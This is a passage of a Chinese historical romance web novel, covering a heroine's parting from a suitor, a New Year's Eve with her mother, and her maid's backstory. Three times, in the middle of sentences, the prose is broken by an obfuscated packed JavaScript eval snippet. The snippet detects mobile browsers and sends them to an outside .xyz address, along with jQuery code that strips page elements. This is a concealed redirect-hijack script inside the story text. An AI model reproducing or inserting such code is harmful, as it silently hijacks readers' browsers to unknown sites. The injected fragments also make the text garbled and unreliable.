“正是要同他断干净呢,到时候你就知道了。”江知雪眨眨眼,催促她赶紧送去。 云双一脸疑惑地走了。 一旁书铺的掌柜清点完毕,对江知雪拱了拱手:“小姐,已经算好,总共是四十五两银。”说着便招呼旁边的伙计拿出银钱,交给了她。 江知雪有些惊愕,她早知书籍金贵,却从未想过那么一箱书竟值这个价钱。 “看书的品色,想必小姐定是个爱书之人,不知为何要将它们卖掉?”掌柜思来想去还是压不下内心的好奇,问出了口。 江知雪笑得牵强:“掌柜,你我相识多年,外界的议论您应是都知晓的。这些书我是带不走的,与其被糟蹋了不如通过您,让更多人看见它们。” 掌柜自觉戳了对方痛处,脸上有些尴尬,连连道歉:“是我疏忽了,向小姐道歉。”内心也颇为感慨。 他第一次见到江知雪的时候,对方还没柜台高。扎着双髻,一脸怯生生地走进来,目光却十分大胆,盯着书架不肯移开。 他有点好笑地过去询问,就见她把手摊开,上面赫然躺着几枚铜板,声音细若蚊吟,问他能否租书回去看。 旁边的客人都笑了,直言书籍珍贵,那几个铜板还不够一张纸的。 那小姑娘瞬间红了一张脸,头低得不能再低,小声说了句:“那我再攒攒。”便飞也似的跑走了。 开书铺这么多年来,他从未见过这么小的姑娘独自一人前来,觉得甚是有趣。后面的时间里他总会时不时地想起来,可久等不来,又觉遗憾,当初应该再多问问,他瞧那个小姑娘并不像富贵人家的孩子,怕她知难而退,反倒磨灭了对学识的兴趣。 约莫过了大半年,在他都有些想不起来这件事的时候,小姑娘又过来了。 与之前相比,这一次她似乎从容了些许。她笑着踮脚将手中银钱放到柜台:“掌柜,您看这些够租书了吗?” 竟是一两银子!他震惊了,这可不是笔小数目。小姑娘告诉他,这些钱是她帮阿娘做绣活并卖些府里送来的衣料得来的,让他放心。 他这才放下心来,面对着对方期待的目光,他老实回答:“够,够,非常够,这些钱你都可以买下一本书了。” 小姑娘明显高兴起来,声音里都止不住的兴奋:“真的吗?那我可以去挑一本吗?” 他惯性地将她带到闺阁话本那一列书架,小姑娘却摇了摇头,说想看些现实的书。 她挑选的动作格外小心,就像对待易碎的珍宝。最终选择了一本放在角落里的书。 那是前朝一女子所写,记录她所行的大好河山。没有书名,只一个署名叫“静秋”。 这本书还是他无意间订下,放在书架好久,人们拿起来一看是女人写的,便嫌晦气似的赶紧放下。久而久之,便被他放到了角落。 他仍记得那时自己问她,书架上那么多书籍,怎么选了这么一本不起眼的书时,小姑娘稚声稚气但眼神坚定说:“因为我很喜欢它。” 从那之后,每隔一段时间,她都会过来租书,直到某次碰见广平侯府的谢公子,她才减少了过去的次数。 他一直认为她将来会有一番大作为,可如今,竟是要嫁与废太子。 好在他从不是喜欢乱说的性子,只不过听着外界对她的诋毁和造谣,还是不免有些唏嘘。 而江知雪也是看重掌柜的这一点,才敢当着他的面和云双说事。 “掌柜,此一别,怕是再难相见。万望珍重。”江知雪站在门前,看着掌柜挥手让人抬走装书的木箱,语气十分不舍地同他道别。 掌柜同样回礼道别:“珍重。” 目送着他们远去,直至消失不见,江知雪才转身关门,拿着手中的银钱回到房中,准备换身衣服最后再见见谢怀清。 轩窗外,阳光正好。 此处是从前她与谢怀清相聚最爱去的酒楼,准确来说是江知雪最爱的地方。地处幽静,窗外远处就是一片连绵的山,价钱也不高,只需一两银子便能包下一个暖阁。 江知雪靠坐窗边,感受着屋中炉火与屋外太阳的暖和,等待谢怀清的赴邀。 脚步声自楼下响起,踩在木质地板上,发出一阵阵“咯吱”声。 是谢怀清来了。 他推开门,将肩上披风解开,甩给身边小厮。随后大步流星走到江知雪对面坐下,拿起桌上茶水,仰头一饮而尽。 “这么急着找我来所为何事啊,安国公府三小姐?”他特意强调她的身份,咬牙切齿道。 江知雪淡淡笑了笑,也不着急,先是对着一旁的云双点了点头,示意可以上菜了,才转过头对谢怀清说:“谢公子,不必这般阴阳怪气。” 听见这声“谢公子”,谢怀清简直气笑了:“江知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197387|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪,你什么意思?这两个月来,我给你去过多少封信,你可曾回信给我?今日谢典跑过来和我说云双送了封信过来,你知道我有多高兴吗?你就这么对我?一来你就叫我‘谢公子’,这么多年的情分,就值这一声生分的‘谢公子’吗?” “是你先如此称呼我的。”江知雪气定神闲。 一句话倒是将谢怀清堵得哑口无言,他又给自己斟了一杯茶,愤愤地喝下。 气氛就这么僵持着,二人谁也没有再开口,谢怀清是气得不想说话,而江知雪则是不知如何开口。 云双适时开门,招呼小二将饭菜送进来。 热气腾腾地饭菜摆上桌,往上漂浮的水汽在二人间扭动,江知雪率先开了口:“尝尝吧,还是之前的口味。” 谢怀清也不废话,给个台阶就下了。 又是一阵沉默,但气氛已经融洽,似乎又回到了几个月前。 谢典凑到云双身边,想询问她些什么,就见云双默默地远离,直把他弄得心慌慌。 “你从未与我说过你的身份,我以为……”谢怀清主动挑起话头。 江知雪以手撑头看着窗外,声音听起来幽幽的:“以为我是安国公府有点脸面的丫鬟吗?其实你猜得不错,我与丫鬟也无甚差别。” “你真的愿意嫁给那个废太子?”谢怀清纠结许久,终究还是问出了最在意的问题。 “圣命不可违。” “你知不知道他……”谢怀清意识到自己声音过大,又小声说道:“他现在口不能言,手筋也被人挑了,已经成了真真切切的废人,如今不过等死。你难道要嫁给这样一个人?” 江知雪浑身血液凝固了,她只知天牢折磨,不知会变成这样。她不敢去想那样的太子如今痛苦的模样。 她的声音颤抖:“那你说我当如何?” 谢怀清以为她知道怕了,连忙宽慰:“你别害怕,离成婚还有段时间,我可以帮你,先去他们查不到的地方暂避,待此事过后,我金榜题名,再将你接回来。” 江知雪这一刻才算完全看清他,一颗心算是彻底落了湖底。 她平静看着他,笑容讽刺:“你可是侯府嫡次子,应当最清楚违逆旨意代表什么。我若走了,我的阿娘怎么办,安国公府无辜性命又该如何?你又以什么名分接我回来?” 谢怀清潇洒肆意惯了,从没考虑过这些。一连串的质问让他羞愧难当。 江知雪却不给他喘息的机会,将搁置在一旁的锦盒并三十两银拿出,往前推去:“这是你送我的珠钗和书的银两,现在还与你吧。” “什么意思?”他的表情有一瞬间的崩裂。 “唉,”江知雪叹了口气,“嫁给废太子,是我自愿的。那日长公主的赏花宴,我也去了,谢典当时也见到了我。” 说着就站起身,走到门口,拿过云双手中的斗篷披上。临出门前,又补充道:“谢怀清,你我本就云泥之别,不必为我劳心。愿你来年金榜题名,快意乘风。”说完,便头也不回地离开了。 谢怀清脑子里思绪纷杂,双手紧握,咯咯作响,看向谢典的眼神透着冰冷。 谢典在江知雪说出他时,就已经颤抖着跪下,不敢再发出任何声音。 “说吧,怎么回事?” 12. 除夕 江知雪从未想过,谢怀清怎么变成了那样,不顾他人,没有同理心,再不是她心中过去光风霁月的样子。 街道上依旧到处都是关于她与废太子的传闻,江知雪听着,内心却想到谢怀清透露的关于沈思安的话,“他已经是个真真切切的废人了,口不能言,手筋都被挑了。”脚步一转,换了个方向。 “小姐,咱们这是准备去药铺吗?”云双跟在身后小心问道,她明显看出小姐情绪不高。 “总得再打算点什么。” 江知雪用卖书剩下的银钱在药铺购置了些补药及一些外伤药,又特意花大价钱买了一瓶活血生骨膏。 云双有点惊讶,小声问道:“小姐,你这是为……废太子买的?”谢怀清说的话她也听得真真儿的。 江知雪不置可否。 云双其实还想说:“还没见着面呢,就心疼起来了。唉小姐可别是被忽悠了,这么一小瓶药,哪里就需要五两银子?”她颇为肉疼,并觉得药铺老板是个骗子,但万不敢当着小姐的面说。 …… 离年关越来越近,这期间谢怀清又写过几封信,无非是些悔过的话以及说要找到两全其美的方法。但这次不再是谢典来送信了。 见江知雪不回,他甚至亲自来找过几次,不过都被李婶和云双回绝了。 大街小巷开始张灯结彩,市集上年节礼品云集,杂耍玩乐不断。可一切都与江知雪无关,她正窝在家里和阿娘一起绣来年的嫁衣,并准备自己出嫁与阿娘出行的行李。 上好的云州正红丝锦,是秦轻水这些年特地为江知雪攒的布料,配上她的精细绣工,一对鸳鸯栩栩如生。 衣领、袖口及裙摆处祥云纹样则由江知雪负责,即使已经知道日后艰苦,秦轻水还是期望来日她能平安顺遂,吉祥美满。 看着快要完工的嫁衣,秦轻水到底忍不住眼泛泪光。 其他姐妹都是在锦绣堆里长大的,可小雪儿从小就没有过过什么好日子。好不容易长大了要出嫁了,为了自己竟把以后都搭上了。外界都言废太子暴戾无常,流放路途遥远,北陵苦寒,她如何受得住。 “是我让你受苦了。” 江知雪还在埋头做绣活,听见阿娘这样说,一抬头瞧她哭出来了,大吃一惊,忙放下手中针线,凑到她身边,轻轻擦去她的眼泪,柔声问道:“好端端地您怎么哭了,舍不得您女儿嫁出去啦?” 秦轻水听她这样说,心里越发难受:“若是没有我,你又何必走这么一遭。若不是我,你应是金堆玉养的孩子,而不是生活在这样一个破园子里。” 江知雪从前只见阿娘那副温柔明智样,仿佛一切事情对她来说都不在话下。今日倒是露出一副瞻前顾后女儿家的样子,心里不免有些想笑,也就真笑出来了。 她笑看着阿娘,说出的话却是宽慰的:“阿娘,哪有那么多‘若是’呢?要我说呀,若是没有您,没有您来到这安国公,又怎会有我。若是没有住在这破园子,而是金堆玉养,我又怎会是我?说不准我就长成了大姐姐的性子。” 说完还不忘模仿江望月那扬起头颅的高傲姿态。 秦轻水被她逗得一乐,破涕而笑,又赶忙捂住嘴,胳膊肘不轻不重地戳了她一下,佯装责怪她害自己闹出了滑稽。 “你可别笑坏了我。不过你说的在理,是我钻牛角尖想岔了。” 自从赏花宴后,这几个月里,她眼看着江知雪越来越沉闷,再无从前的活泼。眼下好不容易变回点从前的样子,秦轻水打心底里高兴。 天色微亮,街道上已有孩童开始放起了炮仗,“噼啪”声与欢乐声随着寒风遥遥吹进高门大户。 忽又隐约传来大人的斥责:“一群小兔崽子,一大早让人好找。什么地方不能玩,偏跑到这片富贵地来,是不是皮紧了想让人给你们松松啊。” 随后是孩子一哄而散的嬉笑声。 家家户户都忙碌起来,为辞别除去旧岁的厄运晦气,迎接即将到来的新的一年。 这片富贵地也不例外。 安国公府下人们忙得热火朝天,脸上却洋溢着幸福的笑容。两位外派做官的嫡子今年也难得回来,江奉山和陆平瑶大喜过望,如今正一家人在宗祠祭拜。 引梅园相对来说显得有些冷清,但并不妨碍园中四个人的快乐。 江知雪正踩着木梯给园门贴桃符。今日,她们二人都换了一身新的红色棉裙,外罩厚厚的白色毛绒罩衫,十分讨喜。 云双在下面扶着,看着自家小姐为了贴得更好斜倾着身子,担忧极了:“小姐,你小心些,我看这已经贴得差不多啦。” “贴得好些才更能让两位门神大人驱邪避凶,保佑家人平安呀。”江知雪站在上面大声回答,“今年是我们在这里的最后一年,理应更认真些,与这座园子好好道个别。” “你们两个贴好了吗?贴完了快些过来。”李婶在前院摆好供桌,开始催促。 江知雪和云双异口同声:“马上就来。” 秦轻水一早便将一应香烛纸钱备好,放置在小竹篮中。 她将蜡烛拿出,摆放在供桌上点燃。烛火跳动,引燃手中供香,烟雾缭绕。她神色平静,如雾霭朦胧的双眼带着哀伤,似透过烟雾,望着往日云州。 江知雪与云双动作迅速,四人站在供桌前,面朝云州方向,虔诚三拜。 祭拜过后,秦轻水又提着篮子,独自一人往后院走去。每年她都会在那里静静待上一段时间。 过去江知雪从没想过什么,她没见过祖父,亦不知晓阿娘的过去,每次祭拜皆是出于血脉相连的孝道和尊敬。 而如今再次祭拜,她的内心感慨万分,悲伤于祖父的遭遇,怜惜阿娘的感受,只恨自己没有早早发觉。 江知雪回身看着供桌,内心不住祈祷:祖父在天之灵,保佑阿娘此行顺遂,大仇得报,过上自己的生活。 身旁李婶看着正在出神的江知雪,一声叹息,对云双吩咐道:“云双,你和小姐先回厨房里暖和暖和,这天寒地冻的,可别染了风寒。” 小厨房内炉火正旺,锅中烧着水,热气蒸腾,二人一进屋,被外头冷风吹僵的身体瞬间暖和了起来。 云双搓搓脸蛋,又帮江知雪搓搓。李婶从外头进来,笑看着说:“好了好了,时辰也不早了,咱们赶紧忙活吧。” 二人乖乖待命,等着李婶的安排。 李婶见她俩如此,无奈地摇了摇头:“云双,今日你留在这里帮我看管下灶火,其他的事交给我就行了。” “就,就只这一样差事吗?”云双不敢相信自己的耳朵,往年这时候可是都忙得脚不沾地。 李婶点了点头。 江知雪见李婶不再有吩咐,询问道:“李婶,那我呢?” “小姐,今日你就不必帮忙了。再过些时日便出嫁了,日子那般艰苦,哪有现下再让你忙活的道理。”李婶解释道,“这也是姑娘的意思。” “你们都在忙碌,我一个人清闲像什么话?”一想到要在这样的日子里闲下来,江知雪心里就不踏实。 李婶已经开始备菜了,她手中动作不停,思考了一下:“若是你实在想忙活的话,厅中桌上还放着没来得及用的红纸,去剪些窗花吧。” “好。”有了事做,江知雪立马就出了厨房,却还是不忘添一句:“待我剪贴完窗花,再来帮你们。” 天上云层厚重,呈灰白色,颇有种要下雪的征兆。 江知雪并不怕冷,相反爱极了冷冽的空气,索性就坐在厅中,就着外头亮光,耐心裁剪起来。 剪刀在红纸上灵活游走,一朵朵窗花便有了形状。寓意福气吉祥的“福”字窗花、丰收满仓的“连年有余”窗花、好运美满的“喜鹊登枝”…… 这些窗花是她幼时见阿娘裁剪觉得神奇,央求着和阿娘所学,但也只在学成的那几年里和阿娘一起剪过,之后就兴致缺缺,全由阿娘一人包揽。 江知雪本以为时隔多年,估计早就忘得差不多了,没想到如今重拾,竟依旧熟练。 约莫着裁剪得差不多了,她收拾完桌面,把窗花小心收好,起身准备将它们贴好。 天色一点点地暗下去,已隐约能听见远方传来爆竹声。有了这第一声响,随后便是此起彼伏,“噼里啪啦”不绝于耳,无论是富贵地还是贫穷屋都关起大门,吃起了团圆饭。 “岚儿墨儿,来多吃点,特地命小厨房做的你们爱吃的菜。”安国公府的饭厅灯火通明,陆平瑶笑容满面对右手边坐着的两人说道。 这两人正是她的两个儿子:江取岚和江取墨。 二人恭敬应着,旁边的两个儿媳也是捂嘴笑着。 陆平瑶这才想起来,赶紧补道:“你们俩也多吃点,补补身子,一路上都累坏了吧。” 实在是太久没见过,加上这段时间发生的这一堆破事,她差点都忘了自己还有两个儿媳妇。可不能薄待了她们,还指望着早日抱上大胖孙呢。 看着平日里宠着自己的母亲今日都没提起过她,江望月的心就忍不住酸起来,说出的话也酸溜溜:“哼,母亲就只顾着两位哥哥嫂嫂,可还记得您还有一个女儿啊?” 热闹的气氛霎时变得安静,两个儿媳夹菜的手抖了抖,脸色有些尴尬。 江奉山坐在主位,不赞同地清了清嗓子。陆平瑶正准备找补,倒是江取岚先出了声:“好久没见着妹妹了,真是出落得越发漂亮了。” 江取墨也点头赞同:“前不久母亲来信说,妹妹与临阳王家订了亲。我们曾与那位王公子同行过,为人谦和有礼,文质彬彬,目前在繁州任通判,听闻最近隐隐有升官的意思,说不准明年便能回京了。” 江望月听着哥哥的夸赞,那点不快的心情一扫而散,又听说未来夫婿是个有前途的君子,或将回京,心情又雀跃起来。她期盼着两位哥哥再说点什么,比如他的相貌。 但他们似乎不欲再多说,已准备和父亲谈论些别的。江望月也顾不得什么羞不羞的了,连忙问道:“不知哥哥能否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215269|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透露一下,那位王公子样貌如何?” 众人听她这样问,皆是哈哈大笑。陆平瑶碰了碰她胳膊,剜了她一眼。 两兄弟对视,无奈一笑,妹妹的性子还是一点都没变。“放心吧,王公子芝兰玉树,风流倜傥着呢。” 杨氏今日和江眠星在最角落,似乎是被陆平瑶教训过了,坐着冷板凳也一声不吭。 引梅园的小厨房里,众人终于忙活结束。云双和江知雪将菜一盘盘地端至饭厅。李婶赶着京城爆竹声的尾巴,在庭院引燃了这座园子最后一次爆竹。 伴随着爆竹的“噼啪”声,四人齐聚一堂,开始吃起永宁二十三年的年夜饭。 她们回忆着过去的点滴,从江知雪小时候说起,谈论着现下的生活,讲述着各自的幸福快乐。最后又说起往后。 江知雪今年难得喝上阿娘酿的果酒,就多喝了些,似乎在桌上说了很多胡话。 谈起未来,她有一瞬间怔愣:往后,谁能知道往后的日子呢,连一刻都不能。但还是和众人站起举杯,祝愿日后平安顺遂,前途坦荡。 一顿年夜饭毕,江知雪摇摇晃晃起身。云双连忙扶着她:“小姐,你喝多了。” “送她回去休息会儿吧,一会儿还要守岁呢。”秦轻水在身后关切道:“我去煮些醒酒汤。” 江知雪行至廊庑,一阵冷风吹过,夹杂着冰凉的东西拍在她的脸上。她这才惊觉,原来已经下雪了。 细密的雪花纷纷扬扬洒下,落在屋檐上、树叶上和庭院中,带来一阵窸窸窣窣的声响,犹如玉石从内部碎裂。 江知雪的眼神逐渐清明。她喜欢下雪,因为她是冬月生辰,因为她的名字中带“雪”,或许还因为着别的什么。她抬起手,让雪花落在手中。 “瑞雪兆丰年。”明年一定是个好年。 “嘭!——”不远处烟花腾空而起,一朵接一朵,在半空炸开,散落如满天星斗。 “小姐,是烟花!”云双在旁边欢快惊呼。 火光映照在江知雪眼中,到这时她才真切感受到永宁二十三年即将结束。 幽暗晦涩的天牢里,沈思安贴靠冰冷的石墙而坐。这里偏僻无光,寒凉孤寂,不知岁月。 狱卒几乎也都去过节了,只余一人在门口守值。难得没有刑罚惨叫的一天,沈思安却浑然不觉。 “这狗皇帝真是狠心,这才多少天就把你折磨成这样。你还是他儿子吗?”牢房里一黑影悄然而至,看着他浑身是血瘦得脱相的样子,言辞刻薄。 沈思安没有反应。 那黑影似乎早料到他会如此,也不觉尴尬,自顾自拿起他的手,就着晦暗的光线查看起来:“啧,那个闷葫芦下手也是狠,就差一丝丝儿了啊,就差那么一点你这双手可就真废了。” 说着就从怀中摸出一个小瓷瓶,打开瓷盖,准备给他上点药。 沈思安的手轻微地动了动,头也不太明显地摇了一下。 黑影立刻会意,却将他手按住,执意把药粉洒上:“你再不治,这天寒地冻又潮湿的,日后真的难恢复了啊。放心吧,不过是护着你手的伤药,让你别得个热症什么的。” 沈思安这才没再挣扎。 “瞧瞧你这双手,都冻紫了,还生了这么多冻疮,以前哪能成这样啊。”黑影嘴巴闲不住,没沉默一会儿又唠叨起来:“你真说不了话啦?闷葫芦效率真是够可以的啊。” 沈思安似乎忍无可忍,凉飕飕地瞥了对方一眼。 黑影感受到他的视线,立马举起双手:“好好好,我不说了,我不说了就是。这天牢可是很难进的,我好不容易逮着机会溜进来,你就这样对我,下次再见恐怕就是你出狱的时候了。” 嘴上这么说着,他却又从怀里拿出另一个瓶子,倒出一粒丹药,给沈思安喂下:“护心脉的,可别冻死了。” 说完就转身欲走,“我走了啊,今日可是除夕,我去找几个弟兄聚聚。” 沈思安眼神微动,勉强抓住他衣服下摆,艰难扯了扯。 黑影转头看着他一头冷汗,气不打一处来:“还有事儿啊?有事你不早说,耍个倔驴性子,迟早把你疼死。” 就见对方盯着他的手,心下了然,蹲下身将手心摊开,放在对方右手下方。 沈思安几乎耗尽全身气力,才在黑影手心写下“江”字。 “‘江’?是要调查安国公府吗?好的我知道了,你好好休息,可别再动了啊。我真得走了,再过一会儿守值的人该换班了。”黑影自问自答说完,也不看对方眼中的否定,一瞬间就跑没影了。 四下又恢复寂静,沈思安依旧靠坐着,感受着丹田内丹药的灼烧。 「调查安国公府应该也会顺便调查三小姐江知雪吧?」他的脑中不安想着,只觉得黑影不太靠谱,却还是抱着侥幸心理。 「竟已经除夕了吗?不知他们现下如何,那位三小姐现在如何?」沈思安抬头看向石墙高处的窗口,冷风呼呼吹着,一片漆黑,什么也看不见。 13. 云双 新年里,日子似乎过得飞快,一眨眼,便到了初三。 往年这期间,江知雪总是在国公府那边煎熬度过。 今年许是因为她即将替嫁的缘故,安国公自知理亏,倒是从未命人喊她过去。江知雪也乐得自在。 明日阿娘她们便要启程了。 原本秦轻水打算再多留些时日,好陪陪女儿。但江知雪认为迟则生变,无论秦轻水如何劝说都不同意。 现下她们正在打点明日出行的行囊。 物什其实早在年前就已收拾过一遍,如今不过再次确认。 江知雪悄摸摸将那张百两银票放进荷包,塞进阿娘的包裹,又转头清点其他物件。 外面还在扑簌簌下着雪,厚重的雪花将庭前那棵桂树枝压得弯了又弯。四下白茫茫一片,照得室内透亮,也衬得引梅园更加寂静。 秦轻水将那件水色香兰毛边斗篷拿下放在床上,又将手腕玉镯褪下。这两样都是她父亲生前送给她的东西。 她将江知雪招来,把玉镯套到对方手上。 江知雪连连拒绝,欲将镯子拿下:“阿娘,这是祖父留给您的东西,我断不能拿去的。” 秦轻水声音哽咽:“阿娘明日就走了,不能亲眼送你出嫁,已是遗憾,又没什么贵重东西给你当嫁妆,更觉亏欠,你不接受,我又怎能安心离开?” “阿娘……” 秦轻水见她仍想推辞,态度也强硬了起来:“给你的你就收着,你祖父留给我的不止这两件物什,我自留有念想。”想了想又补充道:“此物平安镯,你祖父曾入寺庙供奉七七四十九天开过光的。你此行艰险,愿它护你平安。” 江知雪这才收下。 树枝无风轻轻晃动,积雪浅浅落下一层,树间躲雪的鸟儿叽叽喳喳飞走。 黑影落在枝丛里,瞧着四周环境,内心不由吐槽:「嚯,这就是京城传得沸沸扬扬的颇受争议的安国公府三小姐住的地儿吗?这么偏僻破旧,可是让他好找。」 他又想到远在天牢的沈思安,估摸着对方现下还在担忧呢。早在他写下“江”这个字,黑影就明白他想了解谁呢,毕竟安国公府早在之前就已经被调查了好几遍。 那个心口不一的倔驴,他是故意那么说的,谁让对方自己都快死在牢里了,还想着面都没见过的人呢。他可是听说那个三小姐在家里又哭又闹寻死觅活呢。 正想着三小姐,三小姐就出现在了屋檐下,手里还抱着个包袱,身后还有个小姑娘手里也拿着几个包袱,二人一起往厅屋走去。 至于黑影是如何分辨谁是三小姐的,全凭直觉和对方气质。 「啧,长得还行,但和那些传言完全两模两样嘛。」 他一路远远跟着,见她们二人将手中包袱放入厅屋中摆放着的木箱里。 「莫不是不想嫁了准备偷偷逃走?」黑影心里阴测测地想,右手指骨捏紧。若是准备逃走,他可不会给她好果子吃。 二人将手中包裹在木箱一一摆放好。随后,江知雪在厅屋中的凳上坐下,沏了两杯热茶。 “云双,你也坐。”她指着旁边的凳子,招呼云双去做。 待她坐下,江知雪将其中一杯热茶递给她。 云双见小姐有话要说的样子,担忧问道:“小姐,怎么了?” 屋檐有积雪掉落,二人并未留意。 江知雪温柔笑着,看向云双的眼神越发柔和:“明日,你和阿娘她们一起走吧。”这不是商量,而是她的决定。 “小姐,我不要,我只和你在一起。”云双惊慌失措。 “阿娘和李婶待人亲和,这么多年你是知道的,跟着她们,她们定不会亏待了你。”江知雪拉过云双的手,双手握着它。 云双急了,站起身来,在她面前跪下,眼中已然含泪:“小姐,这些我都知道,她们从未薄待过我,还让我和您一起读书认字,在我眼中,我早已将她们和您视为亲人。但在您救下我的时候,我就下定决心,一生追随您左右。” “你这是做什么,快点起来。”江知雪拉着她,欲将她拉起。 “我又何尝不是如此想?我也早已将你当做我的妹妹了呀。可正因如此,我才不愿你跟着我受苦。替嫁一事是我一人决定,决计不能再毁了你的前途。” 云双执意不肯起:“你的决定就是我的决定,若您非要赶我走,我宁愿去死,将这条命还给你。” 她仍旧记得八年前那些灰暗的日子。 在得“云双”这个好听的名字之前,她叫二花,是偏僻到叫不出名的山沟沟里长大的穷苦孩子。 山沟沟里的大家都不识字,除了村长外不知外面还有比他更大的官,所有人都只会耕种,收获,再耕种。 云双有五个兄弟姐妹,排行老二,过着饱一餐饿一顿的日子。所幸父母并不偏心,要饿大家一起饿。 直到那一年,大雨连绵不绝下了半月,地里粮食都淹了,家家户户愁眉不展,却从未想着这不正常大雨的后果,离开这里。 时至今日,当年那一幕仍会出现在她梦里:洪水从山上倾泻而下,宛如一头张着血盆大口的猛兽,想要将人吞吃入腹。 所有人都骇然失色,什么都顾不上了,倘着水拼命往山上跑。 她们家因住在山边边,所以跑得较快。可其他村民就没有这么好运了。 一场洪涝,村里人没了大半。当他们穿过深山,才知山外有山,可山外山也乱糟糟,一切仿佛都乱了套。 他们随着流民一路往南走,抵达小县城时,母亲就因劳累和潮湿发了热,因无人医治丧了命。一家人心情悲痛,可没有办法,小县城贫穷,收不下流民,他们草草安葬完母亲,来不及悲伤完就继续向南方。 在这途中,年纪更小些的五弟弟和四弟弟又因饥饿支撑不住而死去。好不容易到了大州府,大州府有些钱财,设立粥棚安置流民。可三妹妹感染了时疫。 她是最早一批感染时疫的人,一群官兵戴着面罩穿着防护手套将她拉走,之后再也没有见过。 见证了太多死亡和痛苦,她和父亲以及大姐姐甚至已经麻木。 听说这个州府能安置流民,又有更多的流民过来,祈求得到帮助,州府不堪其扰,日渐亏空,最终将他们也一并赶了出去。 他们只得再往前走。流民越来越多,因食不果腹,竟开始斗殴夺食。暴乱冲散了大姐姐,走到最后,一家七口只剩下她和父亲。 一路上,所有人都说着京城的好,京城民富粮充,官爷乐善好施,一定可以救他们。 京城是什么?云双不知道,她把它想象成小时候母亲说的故事里的天宫,里头住着的都是神仙。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215270|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可京城的人啊,远比州县的人凉薄。官兵将他们拒之门外,任由他们嘶喊哭闹,看着他们一个个倒下,都无动于衷。 父亲也终于倒下了。她开始害怕,她不想让父亲死,她求官爷救救父亲,求他们放她进去。无人搭理。 直到父亲快坚持不住,城门才终于开放,官员出来施舍,医者前来救助。但所有大夫看着她的父亲,都摇了摇头,委婉让她准备后事。 那一刻,她觉得天都塌了,她不敢去想日后一个人的生活。 她又去求大夫,头都磕破了,可他们也无可奈何,破罐子破摔直言不讳道:“你父亲已经没得救了,我还有其他病人,你赶紧准备给你父亲安葬吧。” 父亲最终还是死了。 她心灰意冷,只待给父亲安葬后一同死去。 可所有人都在忙碌,无人在意她。她瘦瘦小小,无法搬动父亲的尸身,更无工具棺椁安葬。终于有人看不下去,给她一卷草席,指明方向:去京城里,里面大善人多,用稻草在头上系个结,会有人来帮你的。 她早就没了办法,听了那个人的话,一步步艰难地将父亲拖到城内,选了个人多的地方,从草席上扯了根稻草,扎在乱糟糟的头发上。 街上人来人往,有人停驻看着她,和旁边人指指点点,也有人带着怜悯的目光,但大多数都是冷漠走过。实在是太多人用这一伎俩骗取钱财。 虽已是秋季,可天气依旧炎热,没两天尸身就开始发臭,所有人都避之不及,已经有人开始驱赶她。 直到中秋那天,到处张灯结彩,她快要坚持不住时,江知雪过来了。 小姐长得白白净净,扎着双髻,看着和自己一般大,不顾臭味,在旁人的劝说下毅然决然蹲在她面前,声音软糯:“这是我买书的一两银子,你拿去吧。” 在她已模糊的双眼中,小姐就像神仙。原来世间真的有神仙,母亲说的故事是真的。 她用那一两银子安葬完父亲,收拾干净自己,还剩下大半。可那位神仙却再没出现。 记忆中对方似乎提到买书,她开始多方打听,找到书铺,老板人很好,告知了大致方位。她又去万福街去打听,受了很多白眼和训斥,终于找到。 小姐心善,留下了她,并改名“云双”。 又得益于夫人,她能和小姐一起读书识字。 从那一刻起,她的命就是小姐的。 眼下小姐想让她离开,她决计不会答应。 江知雪见云双以命相逼,终是放弃了这个想法:“你这又是何苦?罢了,若你实在不愿,就和我一起吧。只是你得知道,此行艰苦,太子又……,我不想你日后怪我。” 云双见小姐终于松口,借着她的力道站起来,一把将她抱住,破涕为笑:“我不怕苦的,幼时那么多苦我都挺过来了。只要能和小姐在一起,我什么苦都不怕!” 江知雪顺势拍了拍她的背,笑着说:“好了好了,既然决定好了,可就没有反悔的余地了哦。二小姐的人应该也快到了,我们先准备一下吧。” 黑影趴在屋顶,听着下面两人互诉衷肠,心里默默记下:「嗯,性格也和外面说的骄纵跋扈沾不上边,这都传得什么跟什么,果然传闻不可信。她居然还提到了“太子”,虽然真的只是提到……不过她们似乎在准备什么。」 14. 分别 墙外突兀传来几声鸟叫,早早在庭院等着的江知雪立刻以同样的声音回应。雪已落了她一头顶。 云双跑过去打开门,汀溪一个闪身便进来了。 黑影又蹲在了那颗桂树上,连内息都隐去了:「这个三小姐不简单呐,竟然还认识江湖上的人。」 “三小姐,小姐让我转告您,一切都已准备妥当,这是明日的路线图。”汀溪将袖中信封交给江知雪,福身一礼,又退了出去。 云双确认左右无人,才将门给关上。 二人急急忙忙回屋关上门。江知雪小心拆开信封,和云双研究起明日阿娘所行路线。 